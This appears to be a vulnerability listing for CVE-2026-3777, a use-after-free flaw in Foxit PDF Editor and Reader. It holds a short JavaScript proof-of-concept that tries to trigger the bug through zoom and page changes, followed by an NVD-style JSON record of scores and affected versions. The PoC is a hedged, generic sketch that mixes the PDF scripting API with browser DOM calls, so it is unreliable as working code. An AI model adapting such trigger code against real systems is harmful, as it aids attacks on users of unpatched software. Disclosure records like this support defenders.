CVE-2026-3777

// Proof of Concept for CVE-2026-3777 // This script demonstrates the logic to trigger the UAF vulnerability // by manipulating zoom and page state. function exploit() { // 1. Modify the document zoom property // This triggers the internal view cache update logic if (typeof this.zoom !== 'undefined') { this.zoom = 1.5; } // 2. Trigger a page change immediately // This forces the application to destroy the current view object // while the stale pointer might still be referenced if (typeof this.gotoPage !== 'undefined') { this.gotoPage(2); } // 3. Trigger actions that may dereference the stale pointer // The goal is to access the freed memory region // Specific API calls depend on the application's implementation setTimeout(function() { // Force layout recalculation or property access var x = document.body.innerHTML; }, 100); } exploit();

{"cve": {"id": "CVE-2026-3777", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2026-04-01T02:16:02.737", "lastModified": "2026-04-14T17:54:52.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The application does not properly validate the lifetime and validity of internal view cache pointers after JavaScript changes the document zoom and page state. When a script modifies the zoom property and then triggers a page change, the original view object may be destroyed while stale pointers are still kept and later dereferenced, which under crafted JavaScript and document structures can lead to a use-after-free condition and potentially allow arbitrary code execution."}, {"lang": "es", "value": "La aplicación no valida correctamente la vida útil y la validez de los punteros internos de la caché de vistas después de que JavaScript cambia el zoom del documento y el estado de la página. Cuando un script modifica la propiedad de zoom y luego desencadena un cambio de página, el objeto de vista original puede ser destruido mientras los punteros obsoletos aún se mantienen y luego se desreferencian, lo que, bajo estructuras de JavaScript y documentos especialmente diseñadas, puede llevar a una condición de uso después de liberación y potencialmente permitir la ejecución de código arbitrario."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.2.24014", "matchCriteriaId": "8E9FD877-062E-4AE4-B7D7-91E1CA8657DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.33046", "versionEndIncluding": "14.0.2.33402", "matchCriteriaId": "6B7281CC-97ED-4441-BB97-6C73E328B9AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.27937", "versionEndIncluding": "2025.3.0.35737", "matchCriteriaId": "AD0AAFC0-5B9B-4A11-8967-4699792850F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.3.0.35737", "matchCriteriaId": "1A7AD877-2AB4-4568-8109-5406D2259725"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.2.63349", "matchCriteriaId": "2C7DEE55-1FE3-4B41-975D-BB926E9E69D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.68868", "versionEndIncluding": "14.0.2.69164", "matchCriteriaId": "9D6DE6B5-F04E-4484-9BF9-397D49464636"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.55583", "versionEndIncluding": "2023.3.0.63083", "matchCriteriaId": "D8785CCE-C44C-4908-9133-13A580D5BECB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.63682", "versionEndIncluding": "2024.4.1.66479", "matchCriteriaId": "CF043D20-0E28-481C-8756-D1301FAE67D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pd ... 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